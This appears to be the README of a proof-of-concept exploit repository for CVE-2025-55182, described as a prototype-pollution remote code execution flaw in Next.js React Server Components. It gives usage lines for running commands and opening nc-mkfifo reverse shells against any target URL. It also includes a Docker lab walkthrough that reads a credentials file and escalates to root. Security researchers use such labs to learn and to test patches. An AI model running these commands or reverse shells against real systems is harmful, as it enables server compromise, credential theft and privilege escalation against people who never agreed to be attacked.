nkwenti-severian-ndongtsop/poc_react2shell_cve-2025-55182Exploit for CVE-2025-55182 targeting Next.js React Server Components via prototype pollution, enabling remote code execution with command execution and reverse shell payloads. Includes Docker lab environments for practice.
Exploits CVE-2025-55182 for remote code execution via prototype pollution.
Author: Severian N.K.
This tool exploits a prototype pollution vulnerability in Next.js applications using React Server Components, leading to Remote Code Execution (RCE). It supports both direct command execution and reverse shells.
This project uses a Python virtual environment to manage dependencies. First, ensure you have Python 3 installed.
Set up the virtual environment:
python3 -m venv venv
Activate the environment and install dependencies:
source venv/bin/activate
pip install -r requirements.txt
Make sure the virtual environment is activated (source venv/bin/activate) before running the exploit.
To execute a single command on the target:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
Example:
python3 exploit.py -u http://example.com -c "id"
To get a reverse shell from the target:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
Example:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
The lab/ directory contains two independent Docker environments:
lab/vulnerable): Running on port 3000.lab/patched): Running on port 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
Access at: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
Access at: http://localhost:3001
You must specify your listener IP (--lhost) and port (--lport). You can find your Docker bridge IP with ip addr show docker0 (usually 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
Note: We use
-P nc-mkfifobecause the target is running Alpine Linux, which requires a specific payload type.
The vulnerable container exposes a secret file.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
You can escalate from nextjs to root using the compromised credentials.
su - manager (Password: SuperSecret2025!)sudo su (Password: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
Contributions are welcome! If you find a bug or have an idea for an improvement, please open an issue or submit a pull request.